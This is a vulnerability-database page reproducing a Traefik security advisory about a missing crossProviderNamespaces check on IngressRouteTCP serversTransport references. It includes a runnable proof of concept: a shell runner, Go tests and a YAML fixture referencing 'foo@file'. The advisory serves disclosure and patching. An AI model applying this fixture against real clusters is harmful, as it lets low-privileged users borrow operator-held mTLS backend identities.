Vulnerability-Lookup

GHSA-42CJ-M3VJ-89WV

Vulnerability from github – Published: 2026-08-05 21:53 – Updated: 2026-08-05 21:53

Summary

Traefik CRD IngressRouteTCP ServersTransport Cross-Provider Namespace Bypass

Details

Summary

There is a medium-severity cross-provider reference vulnerability in Traefik's Kubernetes CRD provider. The crossProviderNamespaces allowlist is enforced for HTTP serversTransport references but was not enforced for IngressRouteTCP service serversTransport references. A low-privileged Kubernetes user in a namespace that is not listed in crossProviderNamespaces could set serversTransport: foo@file on an IngressRouteTCP service, causing Traefik to accept the forbidden cross-provider reference and use the file-provider TCPServersTransport — including privileged backend mTLS client certificates, SPIFFE identity, or PROXY-protocol settings. The fix applies the crossProviderNamespaces allowlist to TCP serversTransport references.

Patches

https://github.com/traefik/traefik/releases/tag/v3.6.23
https://github.com/traefik/traefik/releases/tag/v3.7.7

For more information

If you have any questions or comments about this advisory, please open an issue.

Original Description ## Summary Traefik's Kubernetes CRD provider enforces `crossProviderNamespaces` for several cross-provider references, but `IngressRouteTCP` service `serversTransport` references skip that allowlist. A low-privileged Kubernetes user in a namespace that is not listed in `crossProviderNamespaces` can still set `serversTransport: foo@file` on an `IngressRouteTCP` service. Traefik accepts the forbidden cross-provider reference and later uses the referenced `TCPServersTransport`, including privileged backend mTLS client certificates, SPIFFE identity, or PROXY protocol settings. ## Description `crossProviderNamespaces` is documented and implemented as an allowlist for namespaces that may declare cross-provider references from Kubernetes CRD objects. HTTP `serversTransport` references enforce that allowlist. TCP `serversTransport` references do not. An attacker with low Kubernetes privileges in namespace `default` can create an `IngressRouteTCP` service with:

serversTransport: foo@file

Even when the provider is configured with:

crossProviderNamespaces:
  - operator-only

Traefik still emits a TCP dynamic service whose load balancer points to `foo@file`. At runtime, `DialerManager.Build()` uses the exact referenced transport name and applies that transport's TLS client certificates and related backend-connection settings. ## Impact The PoC demonstrates two positive facts: 1. A namespace outside `crossProviderNamespaces` can cause Traefik to accept and store `LoadBalancer.ServersTransport = "foo@file"` from an `IngressRouteTCP` service. 2. A qualified `foo@file` `TCPServersTransport` with a client certificate is actually consumed by the TCP dialer and presented to an mTLS backend. This proves a backend identity relay primitive: a lower-privileged CRD author can make Traefik connect to a backend using an operator-defined cross-provider transport identity that the namespace should not be allowed to reference. ## Proof Of Concept ### Files - `run.sh`: portable runner. - `poc_crd_test.go`: positive CRD provider proof. - `with_servers_transport_cross_provider_poc.yml`: minimal `IngressRouteTCP` fixture. - `poc_tcp_mtls_test.go`: positive runtime mTLS identity-use proof. run.sh

#!/usr/bin/env sh
set -eu

TARGET_REF="${TARGET_REF:-v3.7.5}"
REPO_URL="${REPO_URL:-https://github.com/traefik/traefik.git}"
SCRIPT_DIR="$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)"
WORKDIR="${WORKDIR:-$(mktemp -d "${TMPDIR:-/tmp}/traefik-tcp-st-poc.XXXXXX")}"

if [ "${KEEP_WORKDIR:-0}" != "1" ]; then
    trap 'rm -rf "$WORKDIR"' EXIT INT TERM
fi

echo "[*] target_ref=$TARGET_REF"
echo "[*] workdir=$WORKDIR"

if [ -n "${TRAEFIK_SRC:-}" ]; then
    echo "[*] cloning from local source: $TRAEFIK_SRC"
    git clone -q "$TRAEFIK_SRC" "$WORKDIR/traefik"
    cd "$WORKDIR/traefik"
    git -c advice.detachedHead=false checkout -q "$TARGET_REF"
else
    echo "[*] cloning from remote: $REPO_URL"
    git -c advice.detachedHead=false clone -q --depth 1 --branch "$TARGET_REF" "$REPO_URL" "$WORKDIR/traefik"
    cd "$WORKDIR/traefik"
fi

mkdir -p pkg/provider/kubernetes/crd/fixtures/tcp
cp "$SCRIPT_DIR/poc_crd_test.go" \
     pkg/provider/kubernetes/crd/tcp_serverstransport_cross_provider_poc_test.go
cp "$SCRIPT_DIR/with_servers_transport_cross_provider_poc.yml" \
     pkg/provider/kubernetes/crd/fixtures/tcp/with_servers_transport_cross_provider_poc.yml
cp "$SCRIPT_DIR/poc_tcp_mtls_test.go" \
     pkg/tcp/dialer_cross_provider_identity_poc_test.go

echo "[*] running CRD provider policy-bypass PoC"
go test ./pkg/provider/kubernetes/crd \
    -run '^TestPoCTCPServersTransportCrossProviderNamespacesBypass$' \
    -count=1 -v

echo "[*] running TCPServersTransport mTLS identity-use PoC"
go test ./pkg/tcp \
    -run '^TestPoCQualifiedTCPServersTransportPresentsFileMTLSIdentity$' \
    -count=1 -v

echo "POC_RESULT=PASS"

poc_crd_test.go

package crd

import (
    "testing"

    "github.com/stretchr/testify/require"
    traefikcrdfake "github.com/traefik/traefik/v3/pkg/provider/kubernetes/crd/generated/clientset/versioned/fake"
    kubefake "k8s.io/client-go/kubernetes/fake"
)

func TestPoCTCPServersTransportCrossProviderNamespacesBypass(t *testing.T) {
    k8sObjects, crdObjects := readResources(t, []string{
        "tcp/services.yml",
        "tcp/with_servers_transport_cross_provider_poc.yml",
    })

    kubeClient := kubefake.NewClientset(k8sObjects...)
    crdClient := traefikcrdfake.NewClientset(crdObjects...)
    client := newClientImpl(kubeClient, crdClient)

    stopCh := make(chan struct{})
    defer close(stopCh)

    eventCh, err := client.WatchAll(nil, stopCh)
    require.NoError(t, err)
    <-eventCh

    provider := Provider{
        AllowCrossNamespace:     true,
        CrossProviderNamespaces: []string{"operator-only"},
    }

    conf := provider.loadConfigurationFromCRD(t.Context(), client)
    service := conf.TCP.Services["default-test.route-fdd3e9338e47a45efefc"]
    require.NotNil(t, service)
    require.NotNil(t, service.LoadBalancer)
    require.Equal(t, "foo@file", service.LoadBalancer.ServersTransport)
    require.NotEmpty(t, service.LoadBalancer.Servers)
    require.True(t, service.LoadBalancer.Servers[0].TLS)

    t.Logf("POC_CRD_RESULT=accepted route_namespace=default allowed_cross_provider_namespaces=%v serversTransport=%q backend_tls=%v",
        provider.CrossProviderNamespaces,
        service.LoadBalancer.ServersTransport,
        service.LoadBalancer.Servers[0].TLS)
}

poc_tcp_mtls_test.go

package tcp

import (
    "crypto/rand"
    "crypto/rsa"
    "crypto/tls"
    "crypto/x509"
    "crypto/x509/pkix"
    "encoding/pem"
    "fmt"
    "io"
    "math/big"
    "net"
    "testing"
    "time"

    "github.com/stretchr/testify/require"
    "github.com/traefik/traefik/v3/pkg/config/dynamic"
    traefiktls "github.com/traefik/traefik/v3/pkg/tls"
    "github.com/traefik/traefik/v3/pkg/types"
)

func TestPoCQualifiedTCPServersTransportPresentsFileMTLSIdentity(t *testing.T) {
    pki := newPoCPKI(t)

    dialerManager := NewDialerManager(nil)
    dialerManager.Update(map[string]*dynamic.TCPServersTransport{
        "foo@file": {
            TLS: &dynamic.TLSClientConfig{
                ServerName: "example.com",
                RootCAs:    []types.FileOrContent{types.FileOrContent(pki.caCertPEM)},
                Certificates: traefiktls.Certificates{
                    traefiktls.Certificate{
                        CertFile: types.FileOrContent(pki.clientCertPEM),
                        KeyFile:  types.FileOrContent(pki.clientKeyPEM),
                    },
                },
            },
        },
    })

    backendAddr, peerCN, done, closeBackend := newPoCMTLSBackend(t, pki)
    defer closeBackend()

    dialer, err := dialerManager.Build(&dynamic.TCPServersLoadBalancer{ServersTransport: "foo@file"}, true)
    require.NoError(t, err)

    conn, err := dialer.Dial("tcp", backendAddr, nil)
    require.NoError(t, err)
    defer conn.Close()

    _, err = conn.Write([]byte("ping"))
    require.NoError(t, err)

    buf := make([]byte, 4)
    _, err = io.ReadFull(conn, buf)
    require.NoError(t, err)
    require.Equal(t, "PONG", string(buf))

    var cn string
    select {
    case cn = <-peerCN:
    case <-time.After(time.Second):
        t.Fatal("timed out waiting for backend peer certificate")
    }

    select {
    case err := <-done:
        require.NoError(t, err)
    case <-time.After(time.Second):
        t.Fatal("timed out waiting for backend completion")
    }

    t.Logf("POC_MTLS_RESULT=backend_accepted_transport_identity serversTransport=%q peer_cn=%q response=%q",
        "foo@file", cn, string(buf))
}

func newPoCMTLSBackend(t *testing.T, pki poCPKI) (string, <-chan string, <-chan error, func()) {
    t.Helper()

    serverCert, err := tls.X509KeyPair(pki.serverCertPEM, pki.serverKeyPEM)
    require.NoError(t, err)

    clientPool := x509.NewCertPool()
    require.True(t, clientPool.AppendCertsFromPEM(pki.caCertPEM))

    listener, err := net.Listen("tcp", "127.0.0.1:0")
    require.NoError(t, err)

    tlsListener := tls.NewListener(listener, &tls.Config{
        Certificates: []tls.Certificate{serverCert},
        ClientAuth:   tls.RequireAndVerifyClientCert,
        ClientCAs:    clientPool,
    })

    peerCN := make(chan string, 1)
    done := make(chan error, 1)

    go func() {
        conn, err := tlsListener.Accept()
        if err != nil {
            done <- err
            return
        }
        defer conn.Close()

        tlsConn, ok := conn.(*tls.Conn)
        if !ok {
            done <- fmt.Errorf("unexpected connection type %T", conn)
            return
        }

        if err := tlsConn.Handshake(); err != nil {
            done <- err
            return
        }

        state := tlsConn.ConnectionState()
        if len(state.PeerCertificates) == 0 {
            done <- fmt.Errorf("missing peer certificate")
            return
        }
        peerCN <- state.PeerCertificates[0].Subject.CommonName

        buf := make([]byte, 4)
        if _, err := io.ReadFull(tlsConn, buf); err != nil {
            done <- err
            return
        }
        if string(buf) != "ping" {
            done <- fmt.Errorf("unexpected backend payload %q", string(buf))
            return
        }

        _, err = tlsConn.Write([]byte("PONG"))
        done <- err
    }()

    return listener.Addr().String(), peerCN, done, func() {
        _ = tlsListener.Close()
    }
}

type poCPKI struct {
    caCertPEM     []byte
    serverCertPEM []byte
    serverKeyPEM  []byte
    clientCertPEM []byte
    clientKeyPEM  []byte
}

func newPoCPKI(t *testing.T) poCPKI {
    t.Helper()

    caKey, err := rsa.GenerateKey(rand.Reader, 2048)
    require.NoError(t, err)

    caTemplate := &x509.Certificate{
        SerialNumber:          big.NewInt(1),
        Subject:               pkix.Name{CommonName: "poc-ca"},
        NotBefore:             time.Now().Add(-time.Minute),
        NotAfter:              time.Now().Add(time.Hour),
        KeyUsage:              x509.KeyUsageCertSign | x509.KeyUsageCRLSign,
        BasicConstraintsValid: true,
        IsCA:                  true,
    }

    caDER, err := x509.CreateCertificate(rand.Reader, caTemplate, caTemplate, &caKey.PublicKey, caKey)
    require.NoError(t, err)

    serverCertPEM, serverKeyPEM := newPoCLeafCert(t, caTemplate, caKey, "poc-server", []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth})
    clientCertPEM, clientKeyPEM := newPoCLeafCert(t, caTemplate, caKey, "example.com", []x509.ExtKeyUsage{x509.ExtKeyUsageClientAuth})

    return poCPKI{
        caCertPEM:     pem.EncodeToMemory(&pem.Block{Type: "CERTIFICATE", Bytes: caDER}),
        serverCertPEM: serverCertPEM,
        serverKeyPEM:  serverKeyPEM,
        clientCertPEM: clientCertPEM,
        clientKeyPEM:  clientKeyPEM,
    }
}

func newPoCLeafCert(t *testing.T, caTemplate *x509.Certificate, caKey *rsa.PrivateKey, cn string, eku []x509.ExtKeyUsage) ([]byte, []byte) {
    t.Helper()

    key, err := rsa.GenerateKey(rand.Reader, 2048)
    require.NoError(t, err)

    serial, err := rand.Int(rand.Reader, new(big.Int).Lsh(big.NewInt(1), 128))
    require.NoError(t, err)

    template := &x509.Certificate{
        SerialNumber: serial,
        Subject:      pkix.Name{CommonName: cn},
        DNSNames:     []string{"example.com"},
        NotBefore:    time.Now().Add(-time.Minute),
        NotAfter:     time.Now().Add(time.Hour),
        KeyUsage:     x509.KeyUsageDigitalSignature | x509.KeyUsageKeyEncipherment,
        ExtKeyUsage:  eku,
    }

    certDER, err := x509.CreateCertificate(rand.Reader, template, caTemplate, &key.PublicKey, caKey)
    require.NoError(t, err)

    keyDER := x509.MarshalPKCS1PrivateKey(key)

    return pem.EncodeToMemory(&pem.Block{Type: "CERTIFICATE", Bytes: certDER}),
        pem.EncodeToMemory(&pem.Block{Type: "RSA PRIVATE KEY", Bytes: keyDER})
}

with_servers_transport_cross_provider_poc.yml

apiVersion: traefik.io/v1alpha1
kind: IngressRouteTCP
metadata:
  name: test.route
  namespace: default

spec:
  entryPoints:
    - foo

  routes:
  - match: HostSNI(`foo.com`)
    priority: 12
    services:
    - name: whoamitcp
      port: 8000
      tls: true
      serversTransport: foo@file

### Requirements - `git` - Go toolchain compatible with the target Traefik tag. `v3.7.5` uses `go 1.25.0`. - Network access to clone `https://github.com/traefik/traefik.git` and download Go modules on first run. No local Traefik checkout is required by default. ### Run

./run.sh

Optional target override:

TARGET_REF=v3.6.21 ./run.sh

Optional local-source override for faster local validation:

TRAEFIK_SRC=/path/to/traefik TARGET_REF=v3.7.5 ./run.sh

### Expected Result The run should end with:

POC_CRD_RESULT=accepted route_namespace=default allowed_cross_provider_namespaces=[operator-only] serversTransport="foo@file" backend_tls=true
POC_MTLS_RESULT=backend_accepted_transport_identity serversTransport="foo@file" peer_cn="example.com" response="PONG"
POC_RESULT=PASS

## Root Cause Line numbers below are from:

repository: https://github.com/traefik/traefik
tag:        v3.7.5
commit:     26c96a3935cafb473f4a5bae1886560d9aa4e4f0

### 1. The provider option is meant to cover IngressRouteTCP `pkg/provider/kubernetes/crd/kubernetes.go:60`

CrossProviderNamespaces []string `description:"List of namespaces from which IngressRoute, IngressRouteTCP, IngressRouteUDP, and TraefikService are allowed to declare cross-provider references." ...`

This establishes the security invariant: `IngressRouteTCP` cross-provider references should be gated by `crossProviderNamespaces`. ### 2. TCP service creation forwards the attacker-controlled transport name `pkg/provider/kubernetes/crd/kubernetes_tcp.go:183-185`

if service.ServersTransport != "" {
    tcpService.LoadBalancer.ServersTransport, err = p.makeTCPServersTransportKey(parentNamespace, service.ServersTransport)
}

The attacker-controlled `serversTransport` field is passed into the key builder. ### 3. TCP key builder returns cross-provider names without the allowlist check `pkg/provider/kubernetes/crd/kubernetes_tcp.go:321-322`

if strings.Contains(serversTransportName, providerNamespaceSeparator) {
    return serversTransportName, nil
}

This accepts `foo@file` directly. There is no call to `isCrossProviderNamespaceAllowed(...)` on this TCP path. ### 4. HTTP sibling contains the missing authorization gate `pkg/provider/kubernetes/crd/kubernetes_http.go:507-508`

if !isCrossProviderNamespaceAllowed(c.crossProviderNamespaces, parentNamespace) {
    return "", fmt.Errorf("serversTransport %q reference is not allowed: namespace %q is not in crossProviderNamespaces", ...)
}

The HTTP path proves the intended policy: cross-provider `serversTransport` references should be rejected when the route namespace is not in the allowlist. ### 5. Runtime TCP dialer consumes the exact referenced transport `pkg/tcp/dialer.go:135-141`

if config.ServersTransport != "" {
    name = config.ServersTransport
}
st, ok := d.serversTransports[name]

`pkg/tcp/dialer.go:183-188`

tlsConfig = &tls.Config{
    ServerName:   st.TLS.ServerName,
    Certificates: st.TLS.Certificates.GetCertificates(),
}

The accepted `foo@file` reference is not a harmless string. It selects the cross-provider transport and applies its client TLS identity during backend connections.

Severity

5.3 (Medium)


                  
                    CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N

Show details on source website

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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.6.22"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/traefik/traefik/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.6.0"
            },
            {
              "fixed": "3.6.23"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.7.6"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/traefik/traefik/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.7.0"
            },
            {
              "fixed": "3.7.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-65602"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-05T21:53:35Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThere is a medium-severity cross-provider reference vulnerability in Traefik\u0027s Kubernetes CRD provider. The `crossProviderNamespaces` allowlist is enforced for HTTP `serversTransport` references but was not enforced for `IngressRouteTCP` service `serversTransport` references. A low-privileged Kubernetes user in a namespace that is not listed in `crossProviderNamespaces` could set `serversTransport: foo@file` on an `IngressRouteTCP` service, causing Traefik to accept the forbidden cross-provider reference and use the file-provider `TCPServersTransport` \u2014 including privileged backend mTLS client certificates, SPIFFE identity, or PROXY-protocol settings. The fix applies the `crossProviderNamespaces` allowlist to TCP `serversTransport` references.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v3.6.23\n- https://github.com/traefik/traefik/releases/tag/v3.7.7\n\n## For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Description\u003c/summary\u003e\n\n## Summary\n\nTraefik\u0027s Kubernetes CRD provider enforces `crossProviderNamespaces` for several\ncross-provider references, but `IngressRouteTCP` service\n`serversTransport` references skip that allowlist. A low-privileged Kubernetes\nuser in a namespace that is not listed in `crossProviderNamespaces` can still\nset `serversTransport: foo@file` on an `IngressRouteTCP` service. Traefik\naccepts the forbidden cross-provider reference and later uses the referenced\n`TCPServersTransport`, including privileged backend mTLS client certificates,\nSPIFFE identity, or PROXY protocol settings.\n\n## Description\n\n`crossProviderNamespaces` is documented and implemented as an allowlist for\nnamespaces that may declare cross-provider references from Kubernetes CRD\nobjects. HTTP `serversTransport` references enforce that allowlist. TCP\n`serversTransport` references do not.\n\nAn attacker with low Kubernetes privileges in namespace `default` can create an\n`IngressRouteTCP` service with:\n\n```yaml\nserversTransport: foo@file\n```\n\nEven when the provider is configured with:\n\n```yaml\ncrossProviderNamespaces:\n  - operator-only\n```\n\nTraefik still emits a TCP dynamic service whose load balancer points to\n`foo@file`. At runtime, `DialerManager.Build()` uses the exact referenced\ntransport name and applies that transport\u0027s TLS client certificates and related\nbackend-connection settings.\n\n## Impact\n\nThe PoC demonstrates two positive facts:\n\n1. A namespace outside `crossProviderNamespaces` can cause Traefik to accept and\n   store `LoadBalancer.ServersTransport = \"foo@file\"` from an\n   `IngressRouteTCP` service.\n2. A qualified `foo@file` `TCPServersTransport` with a client certificate is\n   actually consumed by the TCP dialer and presented to an mTLS backend.\n\nThis proves a backend identity relay primitive: a lower-privileged CRD author\ncan make Traefik connect to a backend using an operator-defined cross-provider\ntransport identity that the namespace should not be allowed to reference.\n\n## Proof Of Concept\n\n### Files\n\n- `run.sh`: portable runner.\n- `poc_crd_test.go`: positive CRD provider proof.\n- `with_servers_transport_cross_provider_poc.yml`: minimal\n  `IngressRouteTCP` fixture.\n- `poc_tcp_mtls_test.go`: positive runtime mTLS identity-use proof.\n\n\u003cdetails\u003e\n\u003csummary\u003erun.sh\u003c/summary\u003e\n\n```bash\n#!/usr/bin/env sh\nset -eu\n\nTARGET_REF=\"${TARGET_REF:-v3.7.5}\"\nREPO_URL=\"${REPO_URL:-https://github.com/traefik/traefik.git}\"\nSCRIPT_DIR=\"$(CDPATH= cd -- \"$(dirname -- \"$0\")\" \u0026\u0026 pwd)\"\nWORKDIR=\"${WORKDIR:-$(mktemp -d \"${TMPDIR:-/tmp}/traefik-tcp-st-poc.XXXXXX\")}\"\n\nif [ \"${KEEP_WORKDIR:-0}\" != \"1\" ]; then\n\ttrap \u0027rm -rf \"$WORKDIR\"\u0027 EXIT INT TERM\nfi\n\necho \"[*] target_ref=$TARGET_REF\"\necho \"[*] workdir=$WORKDIR\"\n\nif [ -n \"${TRAEFIK_SRC:-}\" ]; then\n\techo \"[*] cloning from local source: $TRAEFIK_SRC\"\n\tgit clone -q \"$TRAEFIK_SRC\" \"$WORKDIR/traefik\"\n\tcd \"$WORKDIR/traefik\"\n\tgit -c advice.detachedHead=false checkout -q \"$TARGET_REF\"\nelse\n\techo \"[*] cloning from remote: $REPO_URL\"\n\tgit -c advice.detachedHead=false clone -q --depth 1 --branch \"$TARGET_REF\" \"$REPO_URL\" \"$WORKDIR/traefik\"\n\tcd \"$WORKDIR/traefik\"\nfi\n\nmkdir -p pkg/provider/kubernetes/crd/fixtures/tcp\ncp \"$SCRIPT_DIR/poc_crd_test.go\" \\\n\t pkg/provider/kubernetes/crd/tcp_serverstransport_cross_provider_poc_test.go\ncp \"$SCRIPT_DIR/with_servers_transport_cross_provider_poc.yml\" \\\n\t pkg/provider/kubernetes/crd/fixtures/tcp/with_servers_transport_cross_provider_poc.yml\ncp \"$SCRIPT_DIR/poc_tcp_mtls_test.go\" \\\n\t pkg/tcp/dialer_cross_provider_identity_poc_test.go\n\necho \"[*] running CRD provider policy-bypass PoC\"\ngo test ./pkg/provider/kubernetes/crd \\\n\t-run \u0027^TestPoCTCPServersTransportCrossProviderNamespacesBypass$\u0027 \\\n\t-count=1 -v\n\necho \"[*] running TCPServersTransport mTLS identity-use PoC\"\ngo test ./pkg/tcp \\\n\t-run \u0027^TestPoCQualifiedTCPServersTransportPresentsFileMTLSIdentity$\u0027 \\\n\t-count=1 -v\n\necho \"POC_RESULT=PASS\"\n```\n\n\u003c/details\u003e\n\n\u003cdetails\u003e\n\u003csummary\u003epoc_crd_test.go\u003c/summary\u003e\n\n```go\npackage crd\n\nimport (\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n\ttraefikcrdfake \"github.com/traefik/traefik/v3/pkg/provider/kubernetes/crd/generated/clientset/versioned/fake\"\n\tkubefake \"k8s.io/client-go/kubernetes/fake\"\n)\n\nfunc TestPoCTCPServersTransportCrossProviderNamespacesBypass(t *testing.T) {\n\tk8sObjects, crdObjects := readResources(t, []string{\n\t\t\"tcp/services.yml\",\n\t\t\"tcp/with_servers_transport_cross_provider_poc.yml\",\n\t})\n\n\tkubeClient := kubefake.NewClientset(k8sObjects...)\n\tcrdClient := traefikcrdfake.NewClientset(crdObjects...)\n\tclient := newClientImpl(kubeClient, crdClient)\n\n\tstopCh := make(chan struct{})\n\tdefer close(stopCh)\n\n\teventCh, err := client.WatchAll(nil, stopCh)\n\trequire.NoError(t, err)\n\t\u003c-eventCh\n\n\tprovider := Provider{\n\t\tAllowCrossNamespace:     true,\n\t\tCrossProviderNamespaces: []string{\"operator-only\"},\n\t}\n\n\tconf := provider.loadConfigurationFromCRD(t.Context(), client)\n\tservice := conf.TCP.Services[\"default-test.route-fdd3e9338e47a45efefc\"]\n\trequire.NotNil(t, service)\n\trequire.NotNil(t, service.LoadBalancer)\n\trequire.Equal(t, \"foo@file\", service.LoadBalancer.ServersTransport)\n\trequire.NotEmpty(t, service.LoadBalancer.Servers)\n\trequire.True(t, service.LoadBalancer.Servers[0].TLS)\n\n\tt.Logf(\"POC_CRD_RESULT=accepted route_namespace=default allowed_cross_provider_namespaces=%v serversTransport=%q backend_tls=%v\",\n\t\tprovider.CrossProviderNamespaces,\n\t\tservice.LoadBalancer.ServersTransport,\n\t\tservice.LoadBalancer.Servers[0].TLS)\n}\n```\n\n\u003c/details\u003e\n\n\u003cdetails\u003e\n\u003csummary\u003epoc_tcp_mtls_test.go\u003c/summary\u003e\n\n```go\npackage tcp\n\nimport (\n\t\"crypto/rand\"\n\t\"crypto/rsa\"\n\t\"crypto/tls\"\n\t\"crypto/x509\"\n\t\"crypto/x509/pkix\"\n\t\"encoding/pem\"\n\t\"fmt\"\n\t\"io\"\n\t\"math/big\"\n\t\"net\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/stretchr/testify/require\"\n\t\"github.com/traefik/traefik/v3/pkg/config/dynamic\"\n\ttraefiktls \"github.com/traefik/traefik/v3/pkg/tls\"\n\t\"github.com/traefik/traefik/v3/pkg/types\"\n)\n\nfunc TestPoCQualifiedTCPServersTransportPresentsFileMTLSIdentity(t *testing.T) {\n\tpki := newPoCPKI(t)\n\n\tdialerManager := NewDialerManager(nil)\n\tdialerManager.Update(map[string]*dynamic.TCPServersTransport{\n\t\t\"foo@file\": {\n\t\t\tTLS: \u0026dynamic.TLSClientConfig{\n\t\t\t\tServerName: \"example.com\",\n\t\t\t\tRootCAs:    []types.FileOrContent{types.FileOrContent(pki.caCertPEM)},\n\t\t\t\tCertificates: traefiktls.Certificates{\n\t\t\t\t\ttraefiktls.Certificate{\n\t\t\t\t\t\tCertFile: types.FileOrContent(pki.clientCertPEM),\n\t\t\t\t\t\tKeyFile:  types.FileOrContent(pki.clientKeyPEM),\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t})\n\n\tbackendAddr, peerCN, done, closeBackend := newPoCMTLSBackend(t, pki)\n\tdefer closeBackend()\n\n\tdialer, err := dialerManager.Build(\u0026dynamic.TCPServersLoadBalancer{ServersTransport: \"foo@file\"}, true)\n\trequire.NoError(t, err)\n\n\tconn, err := dialer.Dial(\"tcp\", backendAddr, nil)\n\trequire.NoError(t, err)\n\tdefer conn.Close()\n\n\t_, err = conn.Write([]byte(\"ping\"))\n\trequire.NoError(t, err)\n\n\tbuf := make([]byte, 4)\n\t_, err = io.ReadFull(conn, buf)\n\trequire.NoError(t, err)\n\trequire.Equal(t, \"PONG\", string(buf))\n\n\tvar cn string\n\tselect {\n\tcase cn = \u003c-peerCN:\n\tcase \u003c-time.After(time.Second):\n\t\tt.Fatal(\"timed out waiting for backend peer certificate\")\n\t}\n\n\tselect {\n\tcase err := \u003c-done:\n\t\trequire.NoError(t, err)\n\tcase \u003c-time.After(time.Second):\n\t\tt.Fatal(\"timed out waiting for backend completion\")\n\t}\n\n\tt.Logf(\"POC_MTLS_RESULT=backend_accepted_transport_identity serversTransport=%q peer_cn=%q response=%q\",\n\t\t\"foo@file\", cn, string(buf))\n}\n\nfunc newPoCMTLSBackend(t *testing.T, pki poCPKI) (string, \u003c-chan string, \u003c-chan error, func()) {\n\tt.Helper()\n\n\tserverCert, err := tls.X509KeyPair(pki.serverCertPEM, pki.serverKeyPEM)\n\trequire.NoError(t, err)\n\n\tclientPool := x509.NewCertPool()\n\trequire.True(t, clientPool.AppendCertsFromPEM(pki.caCertPEM))\n\n\tlistener, err := net.Listen(\"tcp\", \"127.0.0.1:0\")\n\trequire.NoError(t, err)\n\n\ttlsListener := tls.NewListener(listener, \u0026tls.Config{\n\t\tCertificates: []tls.Certificate{serverCert},\n\t\tClientAuth:   tls.RequireAndVerifyClientCert,\n\t\tClientCAs:    clientPool,\n\t})\n\n\tpeerCN := make(chan string, 1)\n\tdone := make(chan error, 1)\n\n\tgo func() {\n\t\tconn, err := tlsListener.Accept()\n\t\tif err != nil {\n\t\t\tdone \u003c- err\n\t\t\treturn\n\t\t}\n\t\tdefer conn.Close()\n\n\t\ttlsConn, ok := conn.(*tls.Conn)\n\t\tif !ok {\n\t\t\tdone \u003c- fmt.Errorf(\"unexpected connection type %T\", conn)\n\t\t\treturn\n\t\t}\n\n\t\tif err := tlsConn.Handshake(); err != nil {\n\t\t\tdone \u003c- err\n\t\t\treturn\n\t\t}\n\n\t\tstate := tlsConn.ConnectionState()\n\t\tif len(state.PeerCertificates) == 0 {\n\t\t\tdone \u003c- fmt.Errorf(\"missing peer certificate\")\n\t\t\treturn\n\t\t}\n\t\tpeerCN \u003c- state.PeerCertificates[0].Subject.CommonName\n\n\t\tbuf := make([]byte, 4)\n\t\tif _, err := io.ReadFull(tlsConn, buf); err != nil {\n\t\t\tdone \u003c- err\n\t\t\treturn\n\t\t}\n\t\tif string(buf) != \"ping\" {\n\t\t\tdone \u003c- fmt.Errorf(\"unexpected backend payload %q\", string(buf))\n\t\t\treturn\n\t\t}\n\n\t\t_, err = tlsConn.Write([]byte(\"PONG\"))\n\t\tdone \u003c- err\n\t}()\n\n\treturn listener.Addr().String(), peerCN, done, func() {\n\t\t_ = tlsListener.Close()\n\t}\n}\n\ntype poCPKI struct {\n\tcaCertPEM     []byte\n\tserverCertPEM []byte\n\tserverKeyPEM  []byte\n\tclientCertPEM []byte\n\tclientKeyPEM  []byte\n}\n\nfunc newPoCPKI(t *testing.T) poCPKI {\n\tt.Helper()\n\n\tcaKey, err := rsa.GenerateKey(rand.Reader, 2048)\n\trequire.NoError(t, err)\n\n\tcaTemplate := \u0026x509.Certificate{\n\t\tSerialNumber:          big.NewInt(1),\n\t\tSubject:               pkix.Name{CommonName: \"poc-ca\"},\n\t\tNotBefore:             time.Now().Add(-time.Minute),\n\t\tNotAfter:              time.Now().Add(time.Hour),\n\t\tKeyUsage:              x509.KeyUsageCertSign | x509.KeyUsageCRLSign,\n\t\tBasicConstraintsValid: true,\n\t\tIsCA:                  true,\n\t}\n\n\tcaDER, err := x509.CreateCertificate(rand.Reader, caTemplate, caTemplate, \u0026caKey.PublicKey, caKey)\n\trequire.NoError(t, err)\n\n\tserverCertPEM, serverKeyPEM := newPoCLeafCert(t, caTemplate, caKey, \"poc-server\", []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth})\n\tclientCertPEM, clientKeyPEM := newPoCLeafCert(t, caTemplate, caKey, \"example.com\", []x509.ExtKeyUsage{x509.ExtKeyUsageClientAuth})\n\n\treturn poCPKI{\n\t\tcaCertPEM:     pem.EncodeToMemory(\u0026pem.Block{Type: \"CERTIFICATE\", Bytes: caDER}),\n\t\tserverCertPEM: serverCertPEM,\n\t\tserverKeyPEM:  serverKeyPEM,\n\t\tclientCertPEM: clientCertPEM,\n\t\tclientKeyPEM:  clientKeyPEM,\n\t}\n}\n\nfunc newPoCLeafCert(t *testing.T, caTemplate *x509.Certificate, caKey *rsa.PrivateKey, cn string, eku []x509.ExtKeyUsage) ([]byte, []byte) {\n\tt.Helper()\n\n\tkey, err := rsa.GenerateKey(rand.Reader, 2048)\n\trequire.NoError(t, err)\n\n\tserial, err := rand.Int(rand.Reader, new(big.Int).Lsh(big.NewInt(1), 128))\n\trequire.NoError(t, err)\n\n\ttemplate := \u0026x509.Certificate{\n\t\tSerialNumber: 